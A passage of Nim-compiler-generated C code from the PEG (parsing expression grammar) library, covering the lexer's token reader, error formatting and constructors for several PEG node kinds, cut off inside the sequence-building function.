N_LIB_PRIVATE N_NIMCALL(void, getTok__zUGRkOORbt8wzxyKxNHYHg)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* c, tyObject_Token__7MBEr6JdfMtt2SLdWJ4TnA* tok) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
(*tok).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0);
(*tok).literal = setLengthStr((*tok).literal, ((NI) 0));
skip__9bScc7MO8VP7aEapK3GqXvw(c);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (*c).bufpos)) goto LA3_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 1);
(*tok).literal = copyString(((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_19));
(*tok).literal = addChar((*tok).literal, 0);
(*c).bufpos += ((NI) 1);
goto BeforeRet_;
}
LA3_: ;
switch (((NU8)((*c).buf->data[(*c).bufpos]))) {
case 123:
{
(*c).bufpos += ((NI) 1);
{
NIM_BOOL T8_;
NIM_BOOL T9_;
T8_ = (NIM_BOOL)0;
T9_ = (NIM_BOOL)0;
T9_ = ((NU8)((*c).buf->data[(*c).bufpos]) == (NU8)(64));
if (!(T9_)) goto LA10_;
T9_ = ((NI)((*c).bufpos + ((NI) 2)) < ((*c).buf ? (*c).buf->Sup.len : 0));
LA10_: ;
T8_ = T9_;
if (!(T8_)) goto LA11_;
T8_ = ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))]) == (NU8)(125));
LA11_: ;
if (!T8_) goto LA12_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 11);
(*c).bufpos += ((NI) 2);
(*tok).literal = resizeString((*tok).literal, 3);
appendString((*tok).literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_20));
}
goto LA6_;
LA12_: ;
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 9);
(*tok).literal = addChar((*tok).literal, 123);
}
LA6_: ;
}
break;
case 125:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 10);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 125);
}
break;
case 91:
{
getCharSet__zUGRkOORbt8wzxyKxNHYHg_2(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case 40:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 7);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 40);
}
break;
case 41:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 8);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 41);
}
break;
case 46:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 2);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 46);
}
break;
case 95:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 3);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 95);
}
break;
case 92:
{
getBuiltin__zUGRkOORbt8wzxyKxNHYHg_4(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case 39:
case 34:
{
getString__zUGRkOORbt8wzxyKxNHYHg_6(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case 36:
{
getDollar__zUGRkOORbt8wzxyKxNHYHg_7(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case 97 ... 122:
case 65 ... 90:
case 128 ... 255:
{
getSymbol__zUGRkOORbt8wzxyKxNHYHg_5(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (*c).bufpos)) goto LA27_;
goto BeforeRet_;
}
LA27_: ;
{
NIM_BOOL T31_;
NIM_BOOL T33_;
NIM_BOOL T34_;
T31_ = (NIM_BOOL)0;
T31_ = (((NU8)((*c).buf->data[(*c).bufpos])) == ((NU8)(39)) || ((NU8)((*c).buf->data[(*c).bufpos])) == ((NU8)(34)));
if (T31_) goto LA32_;
T33_ = (NIM_BOOL)0;
T34_ = (NIM_BOOL)0;
T34_ = ((NU8)((*c).buf->data[(*c).bufpos]) == (NU8)(36));
if (!(T34_)) goto LA35_;
T34_ = ((NI)((*c).bufpos + ((NI) 1)) < ((*c).buf ? (*c).buf->Sup.len : 0));
LA35_: ;
T33_ = T34_;
if (!(T33_)) goto LA36_;
T33_ = (((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) >= ((NU8)(48)) && ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))])) <= ((NU8)(57)));
LA36_: ;
T31_ = T33_;
LA32_: ;
if (!T31_) goto LA37_;
if (eqStrings((*tok).literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_22))) goto LA39_;
if (eqStrings((*tok).literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_23))) goto LA40_;
if (eqStrings((*tok).literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_24))) goto LA41_;
goto LA42_;
LA39_: ;
{
(*tok).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 2);
}
goto LA43_;
LA40_: ;
{
(*tok).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 3);
}
goto LA43_;
LA41_: ;
{
(*tok).modifier = ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 1);
}
goto LA43_;
LA42_: ;
{
}
LA43_: ;
(*tok).literal = setLengthStr((*tok).literal, ((NI) 0));
{
if (!((NU8)((*c).buf->data[(*c).bufpos]) == (NU8)(36))) goto LA50_;
getDollar__zUGRkOORbt8wzxyKxNHYHg_7(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA48_;
LA50_: ;
{
getString__zUGRkOORbt8wzxyKxNHYHg_6(c, tok);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA48_: ;
{
if (!((*tok).modifier == ((tyEnum_Modifier__7Wz82JmsepInwCEDiPsupA) 0))) goto LA55_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0);
}
LA55_: ;
}
LA37_: ;
}
break;
case 43:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 15);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 43);
}
break;
case 42:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 14);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 43);
}
break;
case 60:
{
{
NIM_BOOL T62_;
T62_ = (NIM_BOOL)0;
T62_ = ((NI)((*c).bufpos + ((NI) 2)) < ((*c).buf ? (*c).buf->Sup.len : 0));
if (!(T62_)) goto LA63_;
T62_ = ((NU8)((*c).buf->data[(NI)((*c).bufpos + ((NI) 1))]) == (NU8)(45));
LA63_: ;
if (!T62_) goto LA64_;
(*c).bufpos += ((NI) 2);
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 12);
(*tok).literal = resizeString((*tok).literal, 2);
appendString((*tok).literal, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_25));
}
goto LA60_;
LA64_: ;
{
(*tok).literal = addChar((*tok).literal, 60);
}
LA60_: ;
}
break;
case 47:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 13);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 47);
}
break;
case 63:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 18);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 63);
}
break;
case 33:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 17);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 33);
}
break;
case 38:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 16);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 33);
}
break;
case 64:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 19);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 64);
{
if (!((NU8)((*c).buf->data[(*c).bufpos]) == (NU8)(64))) goto LA74_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 11);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 64);
}
LA74_: ;
}
break;
case 94:
{
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 24);
(*c).bufpos += ((NI) 1);
(*tok).literal = addChar((*tok).literal, 94);
}
break;
default:
{
{
if (!(((*c).buf ? (*c).buf->Sup.len : 0) <= (*c).bufpos)) goto LA80_;
(*tok).kind = ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 1);
(*tok).literal = copyString(((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_19));
}
LA80_: ;
(*tok).literal = addChar((*tok).literal, (*c).buf->data[(*c).bufpos]);
(*c).bufpos += ((NI) 1);
}
break;
}
}BeforeRet_: ;
}
static N_NIMCALL(void, Marker_tyRef__9cnKZRDpncoV9cvYmm9cA6N5A)(void* p, NI op) {
tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA* a;
a = (tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA*)p;
nimGCvisit((void*)(*a).Sup.Sup.Sup.parent, op);
nimGCvisit((void*)(*a).Sup.Sup.Sup.message, op);
nimGCvisit((void*)(*a).Sup.Sup.Sup.trace, op);
nimGCvisit((void*)(*a).Sup.Sup.Sup.up, op);
}
static N_INLINE(NI, getLine__VLHJcdFBF4RkQrFxGrHR4gpegs)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L) {
NI result;
result = (NI)0;
result = (*L).lineNumber;
return result;
}
static N_INLINE(NI, getColumn__VLHJcdFBF4RkQrFxGrHR4g_2pegs)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L) {
NI result;
result = (NI)0;
result = (NI)(((NI)((*L).bufpos - (*L).lineStart) > 0? ((NI)((*L).bufpos - (*L).lineStart)) : -((NI)((*L).bufpos - (*L).lineStart))) + (*L).colOffset);
return result;
}
N_LIB_PRIVATE N_NIMCALL(NimStringDesc*, errorStr__rgv2w6Fu889c9cU2eKr8xucg)(tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* L, NimStringDesc* msg, NI line, NI col) {
NimStringDesc* result;
NI line_2;
NI col_2;
tyArray__sMpvt1sOxOJ3LFGulnbeMQ T11_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
result = (NimStringDesc*)0;
{
if (!(line < ((NI) 0))) goto LA3_;
line_2 = getLine__VLHJcdFBF4RkQrFxGrHR4gpegs(L);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA1_;
LA3_: ;
{
line_2 = line;
}
LA1_: ;
{
if (!(col < ((NI) 0))) goto LA8_;
col_2 = getColumn__VLHJcdFBF4RkQrFxGrHR4g_2pegs(L);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
goto LA6_;
LA8_: ;
{
col_2 = col;
}
LA6_: ;
nimZeroMem((void*)T11_, sizeof(tyArray__sMpvt1sOxOJ3LFGulnbeMQ));
T11_[0] = copyString((*L).filename);
T11_[1] = nimIntToStr(line_2);
T11_[2] = nimIntToStr(col_2);
T11_[3] = copyString(msg);
result = nsuFormatOpenArray(((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_26), T11_, 4);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(void, pegError__BMmAapFwghEVCePgcFScUg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p, NimStringDesc* msg, NI line, NI col) {
tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA* e;
NimStringDesc* T1_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
e = (tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA*)0;
e = (tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA*) newObj((&NTI__9cnKZRDpncoV9cvYmm9cA6N5A_), sizeof(tyObject_EInvalidPeg__puU8NKFnFhXREunnzDo9bUA));
(*e).Sup.Sup.Sup.Sup.m_type = (&NTI__puU8NKFnFhXREunnzDo9bUA_);
(*e).Sup.Sup.Sup.name = "EInvalidPeg";
T1_ = (NimStringDesc*)0;
T1_ = errorStr__rgv2w6Fu889c9cU2eKr8xucg((&(*p).Sup), msg, line, col);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
(*e).Sup.Sup.Sup.message = T1_;
raiseExceptionEx((Exception*)e, "EInvalidPeg", "pegError", "pegs.nim", 1808);
goto BeforeRet_;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, getTok__N6UyL3NoCbQFjnydJ8RVDg)(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg* p) {
tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* T1_;
tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q* T2_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
T1_ = (tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q*)0;
T1_ = &p->Sup;
T2_ = (tyObject_PegLexer__PtCHh4SlKU9c9auwVazDFB6Q*)0;
T2_ = T1_;
getTok__zUGRkOORbt8wzxyKxNHYHg(T2_, (&(*p).tok));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
{
tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg T7_;
NimStringDesc* T8_;
if (!((*p).tok.kind == ((tyEnum_TokKind__PXxfBn560z0EWOn5M2H9aWw) 0))) goto LA5_;
nimZeroMem((void*)(&T7_), sizeof(tyObject_PegParser__YGbAG2ONLZxyHsgzU1OeCg));
T7_.Sup.m_type = (&NTI__YGbAG2ONLZxyHsgzU1OeCg_);
nimCopyMem((void*)(&T7_), (NIM_CONST void*)(&(*p)), sizeof(T7_));
T8_ = (NimStringDesc*)0;
T8_ = rawNewString(((*p).tok.literal ? (*p).tok.literal->Sup.len : 0) + 19);
appendString(T8_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_27));
appendString(T8_, (*p).tok.literal);
appendString(T8_, ((NimStringDesc*) &TM__YGOrctedenU9ao6jM7xmy6g_28));
pegError__BMmAapFwghEVCePgcFScUg((&T7_), T8_, ((NI) -1), ((NI) -1));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA5_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsOptional)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
{
if (!((4063232 &((NU64)1<<((NU)(a.kind)&63U)))!=0)) goto LA3_;
nimCopyMem((void*)Result, (NIM_CONST void*)(&a), sizeof((*Result)));
}
goto LA1_;
LA3_: ;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T6_;
nimZeroMem((void*)(&T6_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T6_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T6_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 21);
T6_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T6_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T6_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T6_), sizeof((*Result)));
}
LA1_: ;
}
static N_INLINE(void, unsureAsgnRef)(void** dest, void* src) {
(*dest) = src;
}
N_LIB_PRIVATE N_NIMCALL(void, npegsAndPredicate)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T1_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 22);
T1_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T1_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T1_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T1_), sizeof((*Result)));
}
N_LIB_PRIVATE N_NIMCALL(void, npegsNotPredicate)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T1_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 23);
T1_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T1_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T1_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T1_), sizeof((*Result)));
}
N_LIB_PRIVATE N_NIMCALL(void, npegsSearch)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T1_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 28);
T1_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T1_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T1_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T1_), sizeof((*Result)));
}
N_LIB_PRIVATE N_NIMCALL(void, npgegsCapturedSearch)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T1_;
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
nimZeroMem((void*)(&T1_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
T1_.kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 29);
T1_.sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) newSeq((&NTI__5DSB9bTgCQCsIApS5TVlG8g_), 1);
nimCopyMem((void*)(&T1_.sons->data[0]), (NIM_CONST void*)(&a), sizeof(T1_.sons->data[0]));
nimCopyMem((void*)Result, (NIM_CONST void*)(&T1_), sizeof((*Result)));
}
static N_INLINE(NI, len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ a) {
NI result;
NI T1_;
{ result = (NI)0;
T1_ = (a.sons ? a.sons->Sup.len : 0);
result = T1_;
goto BeforeRet_;
}BeforeRet_: ;
return result;
}
N_LIB_PRIVATE N_NIMCALL(void, npegstermStr)(NimStringDesc* t, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
{
if (!!(((t ? t->Sup.len : 0) == ((NI) 1)))) goto LA3_;
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9);
(*Result).term = copyString(t);
}
goto LA1_;
LA3_: ;
{
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12);
(*Result).ch = t->data[((NI) 0)];
}
LA1_: ;
}
static N_INLINE(void, appendChar)(NimStringDesc* dest, NIM_CHAR c) {
(*dest).data[(*dest).Sup.len] = c;
(*dest).data[(NI)((*dest).Sup.len + ((NI) 1))] = 0;
(*dest).Sup.len += ((NI) 1);
}
static N_INLINE(void, add__Yxqc7pnofxe0aIWMJo4J9cwpegs)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* d, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ s) {
NI T1_;
(*d).sons = (tySequence__5DSB9bTgCQCsIApS5TVlG8g*) incrSeqV3((TGenericSeq*)((*d).sons), (&NTI__5DSB9bTgCQCsIApS5TVlG8g_));
T1_ = (*d).sons->Sup.len++;
nimCopyMem((void*)(&(*d).sons->data[T1_]), (NIM_CONST void*)(&s), sizeof((*d).sons->data[T1_]));
}
N_LIB_PRIVATE N_NIMCALL(void, addSequence__bek7Fed15RyBUuSg6zITEw)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* dest, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ elem) {
NI L;
NI T1_;
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
T1_ = (NI)0;
T1_ = len__Z9cTp9cma0fGKM9ax7bg0k8ewpegs((*dest));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
L = (NI)(T1_ - ((NI) 1));
{
NIM_BOOL T4_;
T4_ = (NIM_BOOL)0;
T4_ = (((NI) 0) <= L);
if (!(T4_)) goto LA5_;
T4_ = ((*dest).sons->data[L].kind == ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9));
LA5_: ;
if (!T4_) goto LA6_;
switch (elem.kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
{
NimStringDesc* T9_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T10_;
T9_ = (NimStringDesc*)0;
T9_ = rawNewString(((*dest).sons->data[L].term ? (*dest).sons->data[L].term->Sup.len : 0) + (elem.term ? elem.term->Sup.len : 0) + 0);
appendString(T9_, (*dest).sons->data[L].term);
appendString(T9_, elem.term);
nimZeroMem((void*)(&T10_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegstermStr(T9_, (&T10_));
nimCopyMem((void*)(&(*dest).sons->data[L]), (NIM_CONST void*)(&T10_), sizeof((*dest).sons->data[L]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
{
NimStringDesc* T12_;
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ T13_;
T12_ = (NimStringDesc*)0;
T12_ = rawNewString(((*dest).sons->data[L].term ? (*dest).sons->data[L].term->Sup.len : 0) + 1);
appendString(T12_, (*dest).sons->data[L].term);
appendChar(T12_, elem.ch);
nimZeroMem((void*)(&T13_), sizeof(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ));
npegstermStr(T12_, (&T13_));
nimCopyMem((void*)(&(*dest).sons->data[L]), (NIM_CONST void*)(&T13_), sizeof((*dest).sons->data[L]));
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
default:
{
add__Yxqc7pnofxe0aIWMJo4J9cwpegs(dest, elem);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
break;
}
}
goto LA2_;
LA6_: ;
{
add__Yxqc7pnofxe0aIWMJo4J9cwpegs(dest, elem);
if (NIM_UNLIKELY(*nimErr_)) goto BeforeRet_;
}
LA2_: ;
}BeforeRet_: ;
}
N_LIB_PRIVATE N_NIMCALL(void, npegssequence)(tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* a, NI aLen_0, tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* Result) {
NIM_BOOL* nimErr_;
{nimErr_ = nimErrorFlag();
switch ((*Result).kind) {
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 0) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 8):
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 9):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 10):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 11):
unsureAsgnRef((void**)&(*Result).term, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 12):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 18):
(*Result).ch = 0;
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 13):
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 19):
unsureAsgnRef((void**)&(*Result).charChoice, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 14):
unsureAsgnRef((void**)&(*Result).nt, NIM_NIL);
break;
case ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 25) ... ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 27):
break;
default:
unsureAsgnRef((void**)&(*Result).sons, NIM_NIL);
break;
}
(*Result).kind = 0;
(*Result).kind = ((tyEnum_PegKind__r9a6rAhGclsLWkBysfmtr6Q) 15);
(*Result).sons = NIM_NIL;
{
tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ* xX60gensym12_;
NI i;
xX60gensym12_ = (tyObject_Peg__4Bytir9b2lq5I84yi5O7ztQ*)0;
i = ((NI) 0);
{
while (1) {
if (!(i < aLen_0)) goto LA3;
